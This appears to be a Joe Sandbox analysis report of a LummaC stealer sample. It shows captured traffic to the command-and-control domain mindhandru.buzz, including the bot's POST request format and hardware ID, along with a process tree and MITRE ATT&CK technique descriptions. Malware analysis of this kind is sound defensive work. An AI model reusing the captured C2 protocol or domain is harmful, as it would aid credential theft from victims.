2024-12-27 13:56:30 UTC	15331	OUT	Data Raw: a5 81 84 5e e6 65 51 a2 db ee 88 61 e1 bb 75 1b c7 c8 98 bd 2d a5 40 fb 47 02 8c 4a 1a 2f d9 31 da 87 18 bb fe 77 28 d6 0a 3e 33 7c 05 de 4e dc 27 15 2b d1 b9 83 49 b3 9d 7e 11 f4 91 d2 33 e3 14 5f 8d 04 6c f4 ea ff 5f c6 0d 03 c5 76 28 5a 76 12 70 23 d3 1f 23 dc 85 e2 6d 00 28 de 22 14 5e b6 99 5a 44 e1 39 6e f9 e2 e4 f6 de d9 10 19 a4 8c cc fc d6 40 eb 6c 37 9c ef fa 82 45 aa e5 99 6d 84 75 cf ee 4d 34 fb 20 2b 1d 19 72 05 c9 d5 62 f1 5a 6d 3b d1 82 c8 aa 21 6d 78 bf 57 f3 56 c3 30 56 10 9a 36 af 24 6a f0 ef 93 5d a4 5c 34 21 a1 48 92 92 1b 8b 12 93 b2 bf d3 23 51 bb 73 05 a4 74 7c cb 71 4a db 56 09 cd ca 31 4a 27 a7 8d d4 8a b9 56 90 ba 28 b8 e2 b3 21 ab 50 8b 89 ee 16 ce 03 56 23 b2 fd 11 e2 fb 0e 62 d2 82 59 db f4 34 d2 23 78 7c 9e 5f 60 fb 72 04 44 Data Ascii: ^eQau-@GJ/1w(>3\|N'+I~3_l_v(Zvp##m("^ZD9n@l7EmuM4 +rbZm;!mxWV0V6$j]\4!H#Qst\|qJV1J'V(!PV#bY4#x\|_`rD
2024-12-27 13:56:30 UTC	15331	OUT	Data Raw: 31 6c 6b cb 44 94 98 e5 74 0e 53 21 c9 c8 05 1d 37 d6 fe 76 7b 0a 67 46 91 79 30 aa 53 92 bb 03 3f 64 46 2f 7b 9b e7 c5 e5 97 ef 06 c8 7b e1 5c 79 8a a3 8c 1b 48 5e e8 ee 15 3c 99 84 a5 86 f0 49 68 3d ef 57 1b c7 7c f2 15 54 67 8a 49 85 69 00 e6 b8 a0 45 45 91 13 23 cf 3e ee 8d ec 20 bd d0 96 87 6b d1 bb 6e e5 81 18 eb 33 e1 d6 dc 58 72 d5 ec 54 6c f2 49 05 d9 fb 75 b1 e2 d4 f8 35 8e 81 08 e1 13 37 48 51 97 e8 62 27 9a 16 b3 85 4e d8 47 fe 2c 33 67 98 07 b9 f1 18 77 ed 3e 16 c5 1f 3c b5 f6 8e be da 40 50 3f 86 b6 aa 97 cd f8 47 1c 9e fd 3b 7c a0 d9 a6 12 2c 3b e8 86 c6 46 c3 15 3d 41 37 45 7a b3 ff d3 be e3 e1 f6 f6 f6 a6 27 a7 d9 09 b1 d9 3f ce 9d 62 ea 67 9d 63 14 5c 5c f8 62 c2 df 14 af 75 be b5 84 29 42 1e 5a c3 1b 49 7d 63 74 84 2c f6 a1 7b a3 4d 16 Data Ascii: 1lkDtS!7v{gFy0S?dF/{{\yH^<Ih=W\|TgIiEE#> kn3XrTlIu57HQb'NG,3gw><@P?G;\|,;F=A7Ez'?bgc\\bu)BZI}ct,{M
2024-12-27 13:56:30 UTC	15331	OUT	Data Raw: 7f 9d db f6 37 b3 47 03 5f 2e 5d f7 4f 47 de 2f de fb 2e b2 48 73 b1 48 54 4e 0e 26 24 53 4a 3b 0f 60 0f 14 23 e3 df de 19 cd f4 0c 23 87 9e d3 d5 f2 0e 93 d8 6b f6 32 36 49 9c b3 60 0d 6e 65 9c 3c 6a 52 74 d7 87 b7 c7 b3 ef cf 85 2f 7e 9f fe 09 3e 2b e7 30 ff 7c e8 ec fa 85 52 b1 fe e3 25 99 59 77 c3 69 3f aa f6 0e 75 66 6e a1 b8 dc b4 16 96 48 45 43 6e a9 8a 5a ee ab b7 f9 d6 fd 7d df 7c a3 97 49 7a cc ff f5 05 d1 30 e3 e7 b5 f1 a6 bf 94 6f 1d 87 dc 16 e7 2b b0 5f 37 4b ea ff fb dc fc b7 ab 5d 35 92 4e 85 bd 83 a5 b9 89 35 1d 36 5d 3e 28 f5 de e7 fd 70 84 29 ac be 68 bf 33 f0 c0 5d d2 5b af 5d 4d 08 dd 6a 3d 9f a4 e6 f7 66 46 cb 51 28 8b ba e8 56 e8 ff 66 c6 c6 69 39 d7 da 29 a8 74 e9 ca 76 b1 ad 53 50 c5 f4 2b 98 2a b3 76 48 ad f4 7d 7f a2 d3 5a 6e d8 Data Ascii: 7G_.]OG/.HsHTN&$SJ;`##k26I`ne<jRt/~>+0\|R%Ywi?ufnHECnZ}\|Iz0o+_7K]5N56]>(p)h3][]Mj=fFQ(Vfi9)tvSP+*vH}Zn
2024-12-27 13:56:30 UTC	15331	OUT	Data Raw: 84 ba be 89 49 a6 64 ae b8 73 1e 05 d9 8c b4 c6 f0 2e a3 93 4d e4 e4 4d 1b 12 49 24 42 7d 83 a7 dd 65 ac 06 1f 9e 1e 41 8c 43 b8 cd 89 aa 92 a8 86 86 bf c4 5d 53 28 38 d6 d4 9e 92 62 ce 4f b6 67 0e 02 3f a1 9c c9 f7 63 96 93 5c e7 63 37 6e 7f 88 89 db 31 46 85 47 05 a3 e0 32 42 d4 e4 71 89 fc c5 fe 40 ef 84 3b 7f fa 5c a2 e1 c3 b1 9c c0 9d b0 ad 92 c2 dd 7b fe e0 3e 55 83 e8 bb 51 c1 ca 6b 56 45 89 88 fb 12 43 17 81 ab 7c ad d0 b5 af ef c4 d4 6b 0c f6 df 71 f2 63 76 8c ba 5c ab c1 6d 1c 63 b9 8d 3a 7d 5b b6 41 43 c7 0d 5b 36 c3 ad 91 40 90 7d e0 df 7b 76 47 d4 54 c1 2b c4 8b 16 b7 ca 51 84 be b3 54 77 83 7e bd 0c e9 b2 f7 c6 ce c7 f1 d7 3c ad a5 53 75 95 95 7e 5e 95 80 30 48 c9 78 c9 58 96 72 1f 9d 44 cc 49 7b df 5b 98 09 6e ea f9 29 48 66 a6 e0 85 10 af Data Ascii: Ids.MMI$B}eAC]S(8bOg?c\c7n1FG2Bq@;\{>UQkVEC\|kqcv\mc:}[AC[6@}{vGT+QTw~<Su~^0HxXrDI{[n)Hf
2024-12-27 13:56:30 UTC	15331	OUT	Data Raw: 94 a3 17 e6 bb dc 79 2f c1 1d 62 8a c2 b6 28 ee cb 1f 8e 10 a1 99 3c ce ad 5f 60 47 7d 48 28 f6 17 2b b3 40 90 4d 37 c0 0a 81 41 d2 45 7d 93 25 3e 26 30 54 d4 6a 62 c3 dd d4 80 fa f4 b0 1b 39 19 e1 9a d3 b4 1a c9 ff 27 ce cb 9d f6 c0 76 ea f3 f4 f4 84 3e db 5b 80 a5 43 7c 94 69 ba 9e 82 c7 0b 79 dd c0 12 a3 b2 10 a4 53 81 27 4f 46 87 aa cd 05 42 5c bf df 03 54 f6 a8 e8 d7 20 e6 e6 02 7b 99 9c 88 d2 37 d5 bf 96 bd d5 ea 4a 75 1a 76 61 5f 37 3b a9 7a be 52 4d f7 c2 fc ff 8e 91 48 d3 85 3e 5b fd 6e 60 0e 00 d0 7a 15 94 b1 cf 3e 75 8e f9 15 c5 58 bb dd f5 e4 e2 8d 0d 9e e8 f6 1e 89 c2 23 97 26 3a f3 8a 4a d9 25 6e 1f 4f 79 f6 2c 33 c5 14 2b 42 c2 12 d1 29 05 a1 06 42 6d 93 22 22 44 ea 60 f3 d7 e3 51 0b 8f c8 45 91 dc 17 35 ff 0e 73 57 a0 ce fc ef f1 93 fb c9 Data Ascii: y/b(<_`G}H(+@M7AE}%>&0Tjb9'v>[C\|iyS'OFB\T {7Juva_7;zRMH>[n`z>uX#&:J%nOy,3+B)Bm""D`QE5sW
2024-12-27 13:56:30 UTC	15331	OUT	Data Raw: ab f2 d4 5d 5d 5a b9 ed 92 09 72 ee c9 ef 7b ba 11 26 af f4 40 d9 f8 9f 07 38 10 76 13 15 bc 75 97 a0 d1 f6 3e e5 23 ee 45 ba a2 48 35 c9 3e 09 61 1b 2c 14 63 43 9d f7 d6 f8 a9 f7 6b 34 de b9 4a 7c 73 1d cf e7 bf f2 a3 b2 fa 43 8d 43 6f 56 7d 6c 24 af 85 c8 a6 57 02 77 4d 23 4e e4 70 b9 d3 9a f8 75 d2 f5 27 29 15 77 83 45 22 86 57 ad 7d 38 11 a6 af b8 c9 17 cf 0e f8 1c e5 a7 72 13 21 8e cf f3 35 2d cc 83 c4 77 85 a5 d1 8c fb f7 99 85 8b 2f 3e 5f 47 3a 4a 81 fc 6d d0 44 a9 c8 33 05 d0 dd 0a f1 a3 59 53 78 29 7e c3 c2 f0 6e ba 70 b7 b6 c8 91 15 f7 57 8a cf 3e 42 dd 10 be f3 40 d8 ce 4f 08 72 a6 82 ac 62 f4 8b 1e e7 cc 88 13 8a 87 0c cd da 11 b5 41 a0 e8 d9 13 3e 83 4d e5 9b d2 e4 32 68 de 6d bd 63 43 17 a4 d6 19 ec 26 18 73 b4 70 d2 a4 55 18 03 2b d4 49 79 Data Ascii: ]]Zr{&@8vu>#EH5>a,cCk4J\|sCCoV}l$WwM#Npu')wE"W}8r!5-w/>_G:JmD3YSx)~npW>B@OrbA>M2hmcC&spU+Iy
2024-12-27 13:56:34 UTC	1131	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 13:56:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ea0rhhg0u2ergj6vaq3p2drkhd; expires=Tue, 22 Apr 2025 07:43:10 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3oxP0rRq37mTW%2BIn5aknYz0YV%2FewmxrCDlE0kc7X9NsNmMIoK2rofhffEk7dKZzomOR4%2FtTXexWWrcygCQocZi8QB1ilVFsfAg3BHKlIYOSTtgWTTaLi3SIRmUgHNs6xNVE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f89d0794fa2430a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1591&min_rtt=1583&rtt_var=610&sent=343&recv=579&lost=0&retrans=0&sent_bytes=2838&recv_bytes=555178&delivery_rate=1768625&cwnd=225&unsent_bytes=0&cid=e639c2e03301f78a&ts=4190&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	49753	172.67.165.185	443	3664	C:\Users\user\Desktop\O53VxanH6A.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 13:56:35 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 88 Host: mindhandru.buzz
2024-12-27 13:56:35 UTC	88	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d 26 68 77 69 64 3d 37 30 30 38 38 38 43 42 46 45 41 38 35 37 38 44 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 Data Ascii: act=get_message&ver=4.0&lid=LOGS11--LiveTraffic&j=&hwid=700888CBFEA8578DBEBA0C6A975F1733
2024-12-27 13:56:36 UTC	1125	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 13:56:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=jl8e4ih7hd0k1a3givhpglcalv; expires=Tue, 22 Apr 2025 07:43:15 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qHU9CNtZvFGwNNjuEBmZ%2FTu8zu4hKHa0bvB51inVxUzYXl6jQZrWHXN2ZkkcfMNC00N%2FkwUXOmcjl5yLF8XMJLUxR9mwMqHPfyiqnUr4Rf7cezyibISE%2Btg4ysG%2Bat6Qfro%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f89d09c99f8c344-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1506&min_rtt=1506&rtt_var=565&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2836&recv_bytes=987&delivery_rate=1938911&cwnd=215&unsent_bytes=0&cid=21b5df3c4b32d3ce&ts=642&x=0"
2024-12-27 13:56:36 UTC	210	IN	Data Raw: 63 63 0d 0a 5a 6f 4b 63 4e 6e 77 2f 4b 69 5a 4b 54 6b 73 77 38 4a 41 6a 35 53 63 6a 35 52 55 48 66 69 51 42 4c 32 41 77 4b 74 37 36 79 75 59 39 2b 62 35 44 58 67 55 49 54 6a 34 36 4f 77 71 73 76 33 2f 4b 46 68 76 51 4f 7a 56 50 45 53 38 65 55 51 4d 45 37 38 79 57 79 51 6e 6b 2b 6d 70 54 57 30 39 41 5a 43 73 7a 56 64 4b 38 41 59 4e 54 41 64 38 6c 4b 31 78 42 49 78 56 52 54 51 61 6c 32 4c 2f 45 58 4b 44 30 51 67 68 50 45 48 70 6c 45 6d 51 42 79 4b 55 4e 31 78 59 57 79 79 51 32 54 51 6f 77 47 54 77 66 52 62 69 63 6c 73 6b 43 35 2f 6f 59 47 55 64 50 42 47 5a 73 4c 55 54 53 71 68 50 4a 42 55 62 48 4c 7a 63 44 65 51 3d 3d 0d 0a Data Ascii: ccZoKcNnw/KiZKTksw8JAj5Scj5RUHfiQBL2AwKt76yuY9+b5DXgUITj46Owqsv3/KFhvQOzVPES8eUQME78yWyQnk+mpTW09AZCszVdK8AYNTAd8lK1xBIxVRTQal2L/EXKD0QghPEHplEmQByKUN1xYWyyQ2TQowGTwfRbiclskC5/oYGUdPBGZsLUTSqhPJBUbHLzcDeQ==
2024-12-27 13:56:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	08:56:05
Start date:	27/12/2024
Path:	C:\Users\user\Desktop\O53VxanH6A.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\O53VxanH6A.exe"
Imagebase:	0xb10000
File size:	2'902'528 bytes
MD5 hash:	9B57FB40CC559ECAC791F39CA8916ED8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	10:14:57
Start date:	27/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=O53VxanH6A.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	10:14:58
Start date:	27/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2116 --field-trial-handle=1904,i,11070810031572161436,13522745428096851240,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	10:15:01
Start date:	27/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=O53VxanH6A.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	10:15:02
Start date:	27/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2016 --field-trial-handle=1936,i,14675912434695337880,15358796132646183729,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Function 010EAC28 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1462767540.00000000010E9000.00000004.00000020.00020000.00000000.sdmp, Offset: 010E9000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_10e9000_O53VxanH6A.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cc32f643072fc828c887649f2b890c449bde294a836ceaaf03f67a414b65da4c
Instruction ID: 6a8940c5955fe289d9caa18d3b1f4bb57af20e7ef437cf8330d7aaf34ee41558
Opcode Fuzzy Hash: cc32f643072fc828c887649f2b890c449bde294a836ceaaf03f67a414b65da4c
Instruction Fuzzy Hash: 4721FF7205A3C1AFCB52DF38C9D1A833F61AF4732474A82D8E4805E047D328A623CB92

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report O53VxanH6A.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Chrome Cache Entry: 107

Chrome Cache Entry: 108

Chrome Cache Entry: 109

Chrome Cache Entry: 110

Chrome Cache Entry: 111

Chrome Cache Entry: 70

Windows Analysis Report
O53VxanH6A.exe